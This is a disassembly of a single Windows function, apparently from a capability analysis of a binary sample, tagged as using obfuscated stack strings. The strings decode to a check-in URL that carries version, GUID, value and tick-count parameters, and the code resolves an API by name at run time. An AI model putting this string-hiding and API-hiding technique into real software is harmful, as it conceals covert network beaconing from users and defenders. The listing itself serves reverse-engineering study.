Function at 0x140036ae0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xd0
mov rax, qword [0x14015a198]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rdi, rcx
mov qword [rbp - 0x51], rcx
xor esi, esi
mov dword [rbp - 0x59], esi
mov dword [rbp - 0xf], 0x73707474
mov word [rbp + 1], 0x6f66
mov dword [rbp + 4], 0x6d6f632e
mov word [rbp + 0x12], 0x3f
mov dword [rbp - 4], 0x696d6172
mov dword [rbp - 0xa], 0x72702f2f
mov word [rbp + 8], 0x662f
mov dword [rbp + 0xd], 0x68702e6b
mov word [rbp + 0xb], 0x6361
mov word [rbp - 0x11], 0x6820
mov byte [rbp - 0xb], 0x3a
mov word [rbp - 6], 0x676f
mov byte [rbp + 0xa], 0x62
mov byte [rbp], 0x6e
mov byte [rbp + 0x11], 0x70
mov byte [rbp + 3], 0x73
call fcn.140036710
mov rcx, rax
test rax, rax
je 0x140036d44
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rdi], rax
lea rax, [rbp - 0x11]
lea rbx, [rsi - 1]
cmp rax, 0x10000
jae 0x140036bb0
lea rax, [rbp - 0x11]
movzx edx, ax
mov rcx, rdi
call fcn.140036ea0
jmp 0x140036bd0
lea rcx, [rbp - 0x11]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140036bb7
mov r8d, eax
lea rdx, [rbp - 0x11]
mov rcx, rdi
call fcn.1400399e0
nop
mov dword [rbp - 0x59], 1
mov word [rbp + 0x20], 0x73
mov dword [rbp + 0x19], 0x6f697372
mov word [rbp + 0x1d], 0x3d6e
mov byte [rbp + 0x1f], 0x25
mov word [rbp + 0x17], 0x6576
lea r8, [0x1401772b4]
lea rdx, [rbp + 0x17]
mov rcx, rdi
call fcn.140035900
mov dword [rbp - 0x41], 0x69756726
mov dword [rbp - 0x3c], 0x73253d
mov byte [rbp - 0x3d], 0x64
lea rcx, [rbp - 0x41]
mov rax, rbx
inc rax
cmp byte [rcx + rax], 0
jne 0x140036c20
mov r8d, eax
lea rdx, [rbp - 0x41]
mov rcx, rdi
call fcn.140035800
mov dword [rbp - 0x45], 0x73253d
mov dword [rbp - 0x49], 0x72617626
lea rcx, [rbp - 0x49]
mov rax, rbx
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140036c50
mov r8d, eax
lea rdx, [rbp - 0x49]
mov rcx, rdi
call fcn.140035800
mov word [rbp - 0x2a], 0x6425
mov dword [rbp - 0x31], 0x6c617626
mov byte [rbp - 0x28], 0
mov word [rbp - 0x2d], 0x6575
mov byte [rbp - 0x2b], 0x3d
lea rax, [rbp - 0x31]
inc rbx
cmp byte [rax + rbx], 0
jne 0x140036c87
mov r8d, ebx
lea rdx, [rbp - 0x31]
mov rcx, rdi
call fcn.140035800
mov dword [rbp - 0x1c], 0x64253d
mov dword [rbp - 0x21], 0x6d697426
mov byte [rbp - 0x1d], 0x65
mov word [rbp + 0x27], 0x654b
mov dword [rbp + 0x2a], 0x336c656e
mov dword [rbp + 0x2e], 0x6c642e32
mov word [rbp + 0x32], 0x6c
mov byte [rbp + 0x29], 0x72
mov word [rbp + 0x3f], 0x756f
mov dword [rbp + 0x37], 0x54746547
mov word [rbp + 0x42], 0x74
mov byte [rbp + 0x41], 0x6e
mov dword [rbp + 0x3b], 0x436b6369
lea rcx, [rbp + 0x27]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x37]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140036d0d
call rax
mov esi, eax
mov r8d, esi
lea rdx, [rbp - 0x21]
mov rcx, rdi
call fcn.140035900
mov rax, rdi
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140043aa0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov ecx, 0x80004005
call fcn.140035ad0
int3